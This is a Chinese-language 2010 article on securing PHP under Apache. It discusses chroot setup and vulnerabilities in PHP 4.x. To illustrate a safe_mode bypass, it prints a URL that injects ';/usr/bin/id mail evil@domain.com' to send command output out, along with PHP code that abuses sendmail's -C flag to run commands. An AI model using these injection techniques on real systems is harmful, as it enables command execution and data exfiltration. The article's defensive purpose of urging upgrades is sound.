PHP安全配置之實(shí)現(xiàn)安全的兩個(gè)重點(diǎn)

2010-08-28 10:48:35來源:西部e網(wǎng)作者:

    一、Web服務(wù)器安全

  PHP其實(shí)不過是Web服務(wù)器的一個(gè)模塊功能,所以首先要保證Web服務(wù)器的安全。當(dāng)然Web服務(wù)器要安全又必須是先保證系統(tǒng)安全,這樣就扯遠(yuǎn)了,無窮無盡。PHP可以和各種Web服務(wù)器結(jié)合,這里也只討論Apache。非常建議以chroot方式安裝啟動(dòng)Apache,這樣即使Apache和PHP及其腳本出現(xiàn)漏洞,受影響的也只有這個(gè)禁錮的系統(tǒng),不會(huì)危害實(shí)際系統(tǒng)。但是使用chroot的Apache后,給應(yīng)用也會(huì)帶來一定的麻煩,比如連接mysql時(shí)必須用127.0.0.1地址使用tcp連接而不能用localhost實(shí)現(xiàn)socket連接,這在效率上會(huì)稍微差一點(diǎn)。還有mail函數(shù)發(fā)送郵件也是個(gè)問題,因?yàn)閜hp.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

  都是針對(duì)Win32平臺(tái),所以需要在chroot環(huán)境下調(diào)整好sendmail。

  二、PHP本身問題

  1、遠(yuǎn)程溢出

  PHP-4.1.2以下的所有版本都存在文件上傳遠(yuǎn)程緩沖區(qū)溢出漏洞,而且攻擊程序已經(jīng)廣泛流傳,成功率非常高.

  2、遠(yuǎn)程拒絕服務(wù)

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請(qǐng)求處理遠(yuǎn)程漏洞,雖然不能獲得本地用戶權(quán)限,但是也能造成拒絕服務(wù)。

  3、safe_mode繞過漏洞

  還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數(shù)繞過safe_mode限制執(zhí)行命令漏洞,4.0.5版本開始mail函數(shù)增加了第五個(gè)參數(shù),由于設(shè)計(jì)者考慮不周可以突破safe_mode的限制執(zhí)行命令。其中4.0.5版本突破非常簡單,只需用分號(hào)隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:

  執(zhí)行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  這將id執(zhí)行的結(jié)果發(fā)送給evil@domain.com。

  對(duì)于4.0.6至4.2.2的PHP突破safe_mode限制其實(shí)是利用了sendmail的-C參數(shù),所以系統(tǒng)必須是使用sendmail。如下的代碼能夠突破safe_mode限制執(zhí)行命令:

  #注意,下面這兩個(gè)必須是不存在的,或者它們的屬主和本腳本的屬主是一樣:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>

  還是使用以上有問題版本PHP的用戶一定要及時(shí)升級(jí)到最新版本,這樣才能消除基本的安全問題。
關(guān)鍵詞:PHP

贊助商鏈接: